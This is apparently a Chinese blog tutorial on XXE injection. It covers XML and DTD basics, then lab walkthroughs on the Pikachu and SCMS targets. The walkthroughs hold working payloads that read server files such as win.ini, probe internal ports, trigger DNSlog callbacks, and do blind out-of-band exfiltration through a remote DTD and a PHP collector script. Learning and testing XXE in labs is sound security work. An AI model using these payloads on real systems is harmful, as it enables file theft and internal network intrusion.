【XXE详解】附代码审计SCMS靶场XXE漏洞实战过程
目录
一、XXE漏洞概念
XXE(XML External Entity Injection) XML外部实体注入。 而要了解XXE需要先了解一下XML是什么?
二、XML基础知识
XML 是一种很像HTML的标记语言,设计宗旨是传输与存储数据,而不是显示数据。(HTML是显示数据) XML 标签没有被预定义。您需要自行定义标签。
2.0XML基础语法
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
解析:
<note>:是根元素
而:
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<to><from><heading><body>这些标签都是子元素
2.1XML语法规则 XML 文档必须有根元素,所有的 XML 元素都必须有一个关闭标签。 XML 标签对大小写敏感,在 XML 中,空格会被保留。 XML 声明。
2.2XML命名规则 名称不能以数字或者标点符号开始,不能以字母 xml(或者 XML、Xml 等等)开始,不能包含空格。
2.3XML的合法性 通过 DTD 验证的XML是"合法"的 XML。 XML必须有DTD的声明。 掌握DTD(Document Type Definition)相关知识,有利于我们掌握XXE。 下面通过XML来了解一下DTD?
三、 XML的声明DTD
DTD(Document Type Definition)文档类型定义
3.0 内部DTD
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 文档定义中:
<!DOCTYPE root-element [element-declarations]>
root-element:根元素 element-declarations:元素声明 如以下一个完整的DTD:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>程咬金</to>
<from>貂蝉</from>
<heading>通知</heading>
<body>今天晚上,大战三百回合!</body>
</note>
以上 DTD 解释如下:
!ELEMENT:用来指定一个元素的名字并声明该元素;
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
note是xml文档的根元素;
!ELEMENT note (第三行)定义 note 元素有四个子元素:"to、from、heading,、body";
#PCDATA:意思是any,子元素可以写成任意值;
比如下面的元素引用部分所示:
<note>
<to>程咬金</to>
<from>貂蝉</from>
<heading>通知</heading>
<body>今天晚上,大战三百回合!</body>
</note>
程咬金、貂蝉、通知、今天晚上,大战三百回合!就是PCDATA,子元素的任意值。
3.1外部DTD
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE root-element SYSTEM "filename">
SYSTEM必须大写 filename:是被引用的外部dtd文件
先声明一个note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
再写xml:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>周瑜</to>
<from>黄盖</from>
<heading>提示</heading>
<body>老子不服输</body>
</note>
3.2实体内部DTD
实体是一种类似的变量,实体可在内部或外部进行声明。
注意: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号;构成。 比如:&age;
语法如下:
<!ENTITY entity-name "entity-value">
示例:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu [
<!-- 元素声明 -->
<!ELEMENT stu (name, age, address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!-- 实体声明 -->
<!ENTITY name "亚瑟">
<!ENTITY age "18">
<!ENTITY address "对抗路">
]>
<!-- 实体引用部分 -->
<stu>
<name>&name;</name>
<age>&age;</age>
<address>&address;</address>
</stu>
浏览器效果: 
3.3外部实体
和内部实体一致,只是DTD声明在外部。 xml中引用外部实体方法之一,以实体声明形式引用外部txt:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
<root>
<username>&name;</username>
</root>
"file:///D:/www/xxe/data.txt" 这里,可以换成你自己生成的文档。
注意:这个地方直接浏览器xml访问拿不到数据,需要php程序读取。
data.txt里只能放实体&name;的字符串值。
或者引用外部dtd,但写成这种形式,直接写在文档定义DOCTYPE中:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root SYSTEM "data.dtd">
<root>
<username>&name;</username>
</root>
这两种方式区别在于:
外部实体声明dtd不能被xml直接解析,只能放在php解析代码中。
而即使放在php解析代码中,也只能通过实体声明(<!ENTITY name SYSTEM)解析普通txt文档,要想引用外部实体dtd,必须直接写在DOCTYPE里进行SYSTEM引用,比如:
<!DOCTYPE root SYSTEM "data.dtd">
3.4PHP解析XML的代码
直接上代码:
<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/123.txt">]>
<root>
<username>&name;</username>
</root>
eof;
$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD );
echo $obj->username;
只需要把你写好的XML内容粘贴在$xml = <<<eof与 eof;之间,
即可通过PHP解析代码引用dtd或者txt来调用实体&name;的值。
3.5参数实体
语法:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
注意: % 和 实体名字之间有一个空格
参数实体 在DOCTYPE内 ,其他实体在DOCTYPE外。
这是XML内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE people [
<!ENTITY % name SYSTEM "entitytestout.dtd">
<!--在DOCTYPE内加载外部参数实体-->
%name;
]>
<!--实体引用-->
<people>
<username>&name;</username>
<!--这里还可以继续写别的一般实体-->
</people>
这是PHP内容:
<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE people [
<!ENTITY % name SYSTEM "entitytestout.dtd">
<!--加载外部参数实体-->
%name;
]>
<people>
<username>&name;</username>
</people>
eof;
$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD );
//username 指的元素标签
echo $obj->username;
注意: 这里参数实体的外部引用方式与一般实体外部引用方式不同,前面讲了一般实体外部引用只能在实体声明处引用txt,要想引用dtd必须直接在DOCTYPE里SYSTEM。
而参数实体则不同,可以被PHP直接解析,即:可以用实体声明直接SYSTEM引用外部dtd文件,不需要改为txt。
这是dtd内容:
<!-- 元素声明 -->
<!ELEMENT people (person,person)>
<!ELEMENT person (username,age,address)>
<!ELEMENT username (#PCDATA)> <!-- #PCDATA any 可以输入任意值 -->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!-- 实体声明 -->
<!ENTITY name "黄昏">
<!ENTITY age "11">
<!ENTITY city "北京">
注意: 这里可以直接忽略元素声明,只保留实体声明,因为PHP的SYSTEM的引用与解析,只会解析实体声明部分,也就是说,在PHP的实体引用部分中,根元素与子元素都可以随意生成,随便写元素名称,只需要保证实体名称正确即可。
打开PHP页面,解析结果如下: 
四、XXE漏洞原理
明白了XML,再来回头看XXE漏洞。 漏洞成因: 解析时未对XML外部实体加以限制,导致攻击者将恶意代码POC注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
五、XXE漏洞利用
以下是一个利用XXE漏洞读取服务器文件的POC示例:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>
注意: win.ini是一个txt文件,所以可以在外部实体声明中被SYSTEM引用。
六、Pikachu靶场

先看它的后端代码,进行审计:
如果代码中出现这个函数 simplexml_load_string() 那基本就是XXE有戏 后面的LIBXML_NOENT表示主动展开实体 → 如果允许外部实体,就会触发 XXE!
6.0注入XXE
第一个POC
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<x>&xxe;</x>

第二个POC
探测内网
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % xxe SYSTEM "http://127.0.0.1:3306">
%xxe;
]>
<x>&xxe;</x>
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://127.0.0.1:3307">
%xxe;
]>
<x>&xxe;</x>

两个POC返回不一样,一个返回空白因为mysql端口返回数据为二进制而libxml解析不了二进制,一个转圈因为3307不存在。
第三个POC
DNSlog验证
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://372.cc324092.log.dnslog.pp.ua">
%file;
]>
因为不需要在页面回显,所以这里不进行参数实体引用。 
6.1盲注XXE 无回显的情况(盲注)
没有回显就要想办法将获取的数据写入第三方服务器的文件中。三步走: 1.准备payload:
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.88.1/remote.dtd">
%dtd;
%send;
]>
2.远程服务器的remote.dtd:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.88.1/remote.php?data=%file;'>">
%payload;
注意:% 这字符串是%的十六进制数的实体编码。在这里做实体编码是为了延迟解析,先让dtd解析% payload。
3.远程服务器中remote.php:
<?php file_put_contents('1.txt',$_GET['data']);
成功,则在你的服务器根目录里生成一个1.txt文件,里面以base64方式记下了/windows/win.ini的内容。

七、SCMS靶场代码审计实战过程详解
将SCMS后端代码导入源码到seay,进行代码审计
全局搜索XXE核心敏感函数:simplexml_load_string()
看第五个 有戏
看源码:
发现这个函数调用的变量是postArr且生成postObj对象 而看到最后发现要让这个XXE漏洞在网页上echo回显,需要构造几个子元素:
<MsgType>text</MsgType> 这个子元素标签的值还必须是text才会走到这一步if里面;
<Content></Content>
<FromUserName></FromUserName>
<ToUserName></ToUserName>
除了<MsgType>text</MsgType>这个子元素标签的值我们知道是text以外,其余都不知道。
但我们可以盲猜一个注入点,不知道什么地方回显,可以都注入实体&xxe;: 构造payload如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<x>
<MsgType>text</MsgType>
<Content>&xxe;</Content>
<FromUserName>&xxe;</FromUserName>
<ToUserName>&xxe;</ToUserName>
</x>
然后burpsuit抓包以下页面URL,根据前面代码显示signature必须有值才行,随便=123: 
URL: http://www.xxecms.com/weixin/index.php?signature=123
把payload放在请求包最末:
发现: <FromUserName></FromUserName> <ToUserName></ToUserName> 两个子元素标签会回显win.ini文本内容。
GET IT!
更多推荐




所有评论(0)